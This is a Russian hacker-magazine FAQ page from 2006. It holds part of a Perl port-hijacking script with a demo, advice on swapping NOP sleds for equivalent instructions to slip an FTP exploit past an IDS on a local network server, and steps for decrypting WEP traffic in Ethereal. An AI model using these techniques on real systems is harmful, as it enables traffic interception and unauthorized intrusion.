Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #90, ИЮНЬ 2006 г.

HACK-FAQ

1dt.w0lf

Хакер, номер #090, стр. 090-062-3


LocalAddr => $ARGV[0],

Proto => 'tcp',

LocalPort => $ARGV[1],

Reuse => 1

);

if($sock) { print " [DONE]\n"; }

else { print " [FAILED]\n"; exit(); }

while($client = $sock->accept)

{

print $client "Got hacked!";

close($client);

}

На системе запущен http-сервер, слушающий все интерфейсы.

C:\perl_source>netstat -an

Имя Локальный адрес Внешний адрес Состояние

TCP 0.0.0.0:80 0.0.0.0:0 LISTENING

Создаем с помощью скрипта сокет, связанный со специфичным интерфейсом

C:\perl_source>reuse.pl 192.168.0.2 80

Try create socket ... [DONE]

Вывод netstat приобретает вид

Имя Локальный адрес Внешний адрес Состояние

TCP 0.0.0.0:80 0.0.0.0:0 LISTENING

TCP 192.168.0.2:80 0.0.0.0:0 LISTENING

Теперь, если обратиться к адресу 192.168.0.2 на порт 80, то запрос перехватит наш скрипт, а не http-сервер. Продемонстрирую:

c:\>nc 192.168.0.2 80

Got hacked!

c:\>

Таким образом, атакующий может, используя захват службы, создать туннель между захваченным интерфейсом и реальным сервером, попутно сохраняя всю информацию, проходящую через этот туннель в обоих направлениях, что приведет к перехвату конфиденциальной информации.

A: Нашли с друзьями в локальной сети FTP-сервер, уязвимый к переполнению буфера, скачали эксплойт, скомпилировали как надо. При проверке на тестовом сервере все работает замечательно, а вот против того фтпшника не катит. Удалось разведать, что там стоит хитрая ids, которая отлавливает nop'ы в коде. Посоветуй, чем бы в коде эксплойта заменить эти самые нопы?

Q: В качестве нопов сойдут любые ассемблерные команды, которые не приводят ни к каким действиям. Например, такие как:

mov ax,ax ; 2 байта

xchg ax,ax ; 2 байта

lea bx,[bx] ; 2 байта

shl eax,0 ; 4 байта

shrd eax,eax,0 ; 5 байт

При использовании таких команд главное — следить за выравниванием, поскольку они занимают более одного байта, в отличие от NOP.

Также можно сочетать команды инкремента, декремента регистров

inc eax - увеличить на 1

dec eax - уменьшить на 1

Точно так же можно воспользоваться тем, что в большинстве шеллкодов, в начале работы, регистры обнуляются, и можно без опаски менять значения регистров с помощью команд inc eax - 0x40 , inc ebx - 0x43 , dec eax - 0x48 , dec ebx 0x4B и тому подобных. Плюсом данных команд является то, что, во-первых, они занимают по одному байту, а во-вторых, то, что они совпадают с отображаемыми символами ASCII. Таким образом, вместо цепочки нопов можно использовать, например, такую строчку:

«HACK», что совпадает с dec eax, inc ecx, inc ebx, dec ebx. Конечно, при условии, что регистры eax, ecx, ebx будут обнулены в начале шеллкода.

A: Занимаюсь поиском и взломом беспроводных сетей, и озадачился следующим вопросом: можно ли снифер заставить расшифровать wep сразу при перехвате, если ключ у меня уже есть?

Q: Да, это возможно. Для этого можешь воспользоваться отличным снифером ethereal, поддерживающим расшифровку wep. Чтобы включить эту возможность, зайди в меню Edit -> Preferences -> Protocols -> IEEE 802.11, введи количество ключей в "WEP key count" и, соотвтственно, сами ключи в необходимые поля.

Назад на стр. 090-062-2  Содержание
Hosted by uCoz